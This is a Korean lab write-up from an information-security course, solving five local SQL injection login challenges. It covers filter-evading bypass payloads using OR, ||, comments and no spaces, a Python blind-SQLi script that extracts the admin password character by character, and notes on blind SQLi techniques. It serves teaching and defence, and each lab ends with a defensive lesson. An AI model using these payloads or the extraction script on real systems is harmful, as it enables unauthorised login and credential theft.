CS/정보보호

해킹 문제 풀이 실습 (웹 해킹) - 1

arsenic-dev 2025. 5. 21. 04:04

경희대학교 장대희 교수님의 정보보호 수업을 기반으로 정리한 글입니다.

SQL Injection 소개

SQL Injection

악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL문을 주입하고 실행되게 하여

데이터베이스가 비정상적인 동작을 하도록 조작하는 행위이다.

▶ 예시

  • Attacker는 OR 문과 "--" 주석을 활용하여 비밀번호 인증을 우회하여 데이터베이스에 접근

OWASP Top 10

▶ OWASP는 웹 애플리케이션 보안 개선을 위한 글로벌 비영리 조직

 

OWASP(오왑스)는 주로 웹에 관한 정보 노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 10대 웹 애플리케이션의 취약점(OWASP Top 10)을 3-4년 주기로 발표한다.

 

이때 SQL Injection은 OWASP Top 10에 자주 들어가는 취약점이다.

  • 2021, 2017, 2013, 2010, 2007, 2004, 2003

SQL Injection 취약점 감소 추세 배경

Node.js, Django, Spring 등 주요 웹 프레임워크 내 ORM 라이브러리 제공,

이때 해당 ORM 라이브러리 사용 시 자동으로 Prepared Statement가 적용된다.

  • Prepared Statement: query와 data를 분리해서 실행하는 SQL Injection 방어용 기술

▶ 잘 설계된 API와 ORM의 활용으로 SQL Injection 취약점 발생률 감소

 

※ ORM 라이브러리: Object-Relational Mappingdml의 약자로, 데이터베이스를 객체 지향 형식으로 편하게 다룰 수 있게 한다.

 

최근 보안 사고 사례

그러나, SQL Injection 취약점은 여전히 실제 사고로 발생하기도 한다.

 

웹 프레임워크에서는 미흡한 보안 설정이나 레거시 코드 등이 문제가 되며,

DB와 직접 통신을 하는 솔루션 상에서도 취약점이 발생하기도 한다.

 

※ legacy code: 오래되었거나 유지보수가 어려운 코드

▶ 2600개 기업, 7720만 명에 영향을 미친 MOVEit Transfer 솔루션 취약점에 대한 공격 경로 소개

  • SQL Injection -> 서버 시스템 장악 사례

site1

문제 소개

문제 설명

admin 계정을 탈취하여 Flag를 찾는 문제

 

문제 풀이 흐름


※ payload: 전송되는 데이터 자체를 지칭한다.

 

login.php 분석

login.php는 POST 요청으로 받은 username, password 인자로 query 구문 처리를 수행한다.

  • query: 데이터베이스나 검색 시스템에서 정보를 요청하거나 조회할 때 사용하는 질문 또는 명령

▶ 입력에 대한 별도의 필터링이 없음

  • 필터링이 없을 경우 -> username과 password가 입력되는 SQL 문을 기반으로 로그인 우회 방법을 생각해볼 것
    • username은 평문으로, password는 MD5 해시 과정을 거친 쿠 쿼리문에 입력됨
    • SQL문에서 username이 순서상 앞에 있음
    • password를 모르는 상황에서 admin 계정에 로그인 하기 위해서는 password 검증 조건문을 무력화 시킬 필요가 있음

※ VM에서 terminal 실행 방법

  • Ctrl + Alt + T
  • Windows 키 -> terminal 검색 후 실행

문제 풀이

쿼리의 논리 구조 변경

Payload: admin' OR '1'='1

 

1. username/password에 입력된 페이로드는 login.php에서 위와 같은 쿼리문으로 처리된다.

  • payload 끝에 따옴표를 안 닫는 게 포인트

2. 논리적 평가 순서가 OR 보다 AND 연산자가 우선임으로 '1'='1' AND password = 'anything' 해당 부분의 쿼리가 먼저 실행된다.

  • password 검증 로직이 미리 실행 됨

3. 이후 username = 'admin' OR (이전 쿼리문의 결과)가 실행되어 admin 계정이 존재 시 항상 쿼리문이 참이 되므로 password 조건을 무시할 수 있다.

 

결론

필터가 없을 경우 OR 연산자를 사용하여 쿼리의 논리 구조를 변경할 수 있다.

  • username만 알면 항상 참이 되는 결과를 만들어 냄

따라서 username에 OR 연산자를 필터링하는 부분을 작성하여

쿼리문이 비밀번호 없이도 로그인되게 동작하는 부분을 막아야 한다.

site2

문제 소개

문제 설명

admin 계정을 탈취하여 Flag를 찾는 문제

 

문제 풀이 흐름

 

login.php 분석

▶ 코드에서 "OR"과 그 변형에 대한 필터링을 수행하여 SQL Injection 공격을 방지하려고 함

  • SQL 쿼리에서 대소문자의 구분이 없기 때문에 'or'의 대소문자 조합을 모두 차단
  • 'or' 문자열이 username 내 발견 시, "no hacking" 출력 후 종료

MySQL에서 사용할 수 있는 연산자

▶ MySQL에 동일한 기능을 수행하는 대체 연산자들

  • 대체 연산자들을 활용하여 필터를 우회하는 방법 찾기

문제 풀이

쿼리의 논리 구조 변경

Payload: admin' || '1'='1

 

1. username/password에 입력된 페이로드는 login.php에서 위와 같은 쿼리문으로 처리된다.

2. SQL의 논리 연산자 OR 대신, MySQL에서 지원하는 대체 연산자 "||"를 사용하여 필터링을 우회한다.

3. 이후 site1 문제와 같이 AND 연산자가 먼저 수행되고 동일하게 진행된다.

 

결론

특정 키워드 OR를 필터링하여 SQL Injection 공격을 차단하려고 하였으나,

연산자에 의한 공격 페이로드를 막지 못했다.

  • 동일하게 username만 알면 항상 참이 되는 결과를 만들어 냄

특정 키워드나 연산자를 단순히 필터링하는 것만으로는 충분하지 않다.

site3

문제 소개

문제 설명

admin 계정을 탈취하여 Flag를 찾는 문제

 

login.php 분석

▶ login.php에 적용된 필터

  • 공백 필터링

▶ 이전 문제의 페이로드들에대한 필터링 누적

 

공백 필터 우회

공백은 SQL 쿼리에서 중요한 구분자 역할을 한다.

이로 인해, 공격자가 악의적인 SQL 문을 삽입하는 데 자주 사용된다.

 

-> 공백 없이 쿼리문을 만들 수 있는 방법을 찾아야 한다.

문제 풀이

쿼리의 논리 구조 변경

Payload: admin'||'1'='1

 

1. username/password에 입력된 페이로드는 login.php에서 위와 같은 쿼리문으로 처리된다.

2. admin'||'1'='1 부분은 공백 없이 작성됐지만, 연산자 자체가 구분자로 쓰여 MySQL에서는 이를 논리적 OR 연산자로 해석한다.

  • admin'/**/or/**/'1'='1 으로도 공백 우회 가능 (주석 사용)

3. 이후 site2 문제와 같이 OR을 우회하고 AND 연산자가 먼저 수행되어 동일하게 진행된다.

 

결론

공백을 필터링하여 SQL Injection 공격을 차단하려고 하였으나, 

연산자에 의한 공격 페이로드를 막지 못했다.

  • 동일하게 username만 알면 항상 참이 되는 결과를 만들어 냄

공격을 막기에 공백을 필터링하는 것은 충분하지 않다.

site4

문제 소개

문제 설명

admin 계정을 탈취하여 Flag를 찾는 문제

 

login.php 분석

▶ login.php에 적용된 필터

  • site2의 "or" 필터, site3의 공백 필터 적용
  • "|" 문자에 대한 필터 추가

"or" 필터, "|" 필터, 공백 필터 상황에서 주석으로 우회하기

주석을 활용하여 password 검증 부분을 우회하는 방법을 찾아야 한다.

▶ MySQL의 주석 작성 방법 3가지 소개 (#, --, /**/)

문제 풀이

쿼리의 논리 구조 변경

Payload: admin')#

 

1. username/password에 입력된 페이로드는 login.php에서 위와 같은 쿼리문으로 처리된다.

2. 공백 문자, 'or' '|' 등을 사용하지 않고 '#' 주석을 사용한다.

3. '#' 주석 뒤에 나오는 문자들은 주석 처리되어 쿼리문에 영향이 없다.

4. 결론적으로 username이 admin인 user의 password를 확인하지 않고 호출한다.

 

결론

공백, 'or', '|'를 필터링하여 SQL Injection 공격을 차단하려고 하였으나,

주석을 사용한 공격 페이로드를 막지 못했다.

  • 동일하게 username만 알면 항상 참이 되는 결과를 만들어 냄

주석을 필터링할 수 있는 방법이 필요하다.

site5

문제 소개

문제 설명

DB에 저장된 admin 계정의 password를 찾는 것 자체가 목표인 문제 (blind SQL injection 실습)

 

문제 풀이 흐름

 

login.php 분석

▶ login.php 분석

  • 서버의 출력을 기준으로, SQL문의 결과를 판단할 수 있음
    • 로그인 성공 시, "./bbs/home.php" 파일 내용 출력
    • 로그인 실패 시, "Wrong user or password." 출력
  • 이를 통해 admin 계정의 비밀번호를 알아내야 함 (Blind SQL Injection)

문제 풀이

비밀번호 추출하기

  • 먼저 admin 계정의 비밀번호 길이(length)를 알아냄
  • 그 다음 비밀번호를 한 글자씩 추출함 (아스키 값 비교)

▶ 결과 반환: 서버의 응답에 "Wrong"이라는 문자열이 포함되지 않으면, True를 반환

import requests

def oracle(q):
    sqli = "Nah' or %s or '1'='" % q
    data = {'username': "admin" + sqli, 'password': 'Meh', 'submit': 'Meh'}
    url = 'http://localhost/site/site5/login.php'
    response = requests.post(url, data=data)
    return 'Wrong' not in response.text

sql = "length((select password from user where username='admin'))=%d"
pw_len = 0
for i in range(1, 33):
    if oracle(sql % i):
        pw_len = i
        break

if pw_len == 0:
    print("Password length not found")
    exit()
else:
    print("Password length is %d" % pw_len)

password_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_+=[]{}|;:,.<>?/"
sql = "ascii(substring((select password from user where username='admin'),%d,1))=%d"
password = ""
for i in range(1, pw_len + 1):
    for c in password_chars:
        if oracle(sql % (i, ord(c))):
            password += c
            break

print("Password is %s" % password)

▶ 풀이 코드

 

결론

Blind SQL Injection을 사용하여 비밀번호 추출이 가능, 즉 해당 공격 페이로드를 막지 못했다.

▶ Admin 유저의 DB 상 패스워드(해시)를 알아낼 수 있었다.

 

즉, Blind SQL Injection을 막을 수 있는 다른 방법이 필요하다.

 

※ 터미널에서 복사 붙여넣기 시, ctrl+c/v가 아닌 마우스 오른쪽을 눌러 copy/paste 해야 한다.

 

 
 

Blind SQL Injection

 

Blind SQL Injection을 사용하는 이유

많은 웹 애플리케이션은 SQL Injection 시도를 탐지하고, 공격자가 실수를 통해 오류를 발견하지 못하도록 직접적인 오류 메시지를 숨기거나, 사용자에게 일반적인 에러 메시지만을 제공한다.

 

이 경우, 블라인드 SQLi 기법을 사용하면 응용 프로그램의 응답 시간이나 다른 미묘한 변화들을 통해 데이터베이스에 대한 정보를 얻을 수 있다.

▶ 오류의 이유를 알 수 없는 단순한 오류 메시지 예시 

 

1. 참/거짓 기반 공격

공격자는 참/거짓 기반의 쿼리를 삽입하여, 데이터베이스가 참일 때와 거짓일 때 각각 어떻게 반응하는지 관찰한다.

이 과정에서 공격자는 데이터베이스 내부 구조나 데이터를 추측할 수 있다.

 

예를 들어, 참일 때는 결과가 반환되지만, 거짓일 때는 결과가 반환되지 않으면, 그 차이를 이용하여 정보를 추출한다.

 

공격자는 반복적으로 다양한 조건을 삽입하여, 참과 거짓을 반복하며

데이터베이스에서 조금씩 정보를 추출할 수 있다. (일부 정보 유출)

 

예를 들어, 특정 컬럼의 첫 번째 문자가 무엇인지, 특정 테이블의 존재 여부 등을 추측할 수 있다.

SELECT * FROM user WHERE username = '' AND SUBSTRING(password, 1, 1) = 'a';

▶ 결과가 에러없이 반환되면, 공격자는 password의 첫 글자가 'a'임을 알게 됨

  • 이런 식으로 반복해서 문자를 한 개씩 찾아갈 수 있음 

2. Time 기반 공격

SQL 쿼리의 참/거짓 여부에 따른 HTTP 응답의 차이를 확인 불가능하나, 서버의 응답 시간 제어가 가능한 경우 사용할 수 있다.

  • sleep 함수를 통한 DB 응답 시간 제어

 

※ 실습 방법: 웹해킹 실습 VM 설치 후 virtual machine 실행 -> 로그인 -> Firefox 실행 및 주소 창에 localhost/site/ 입력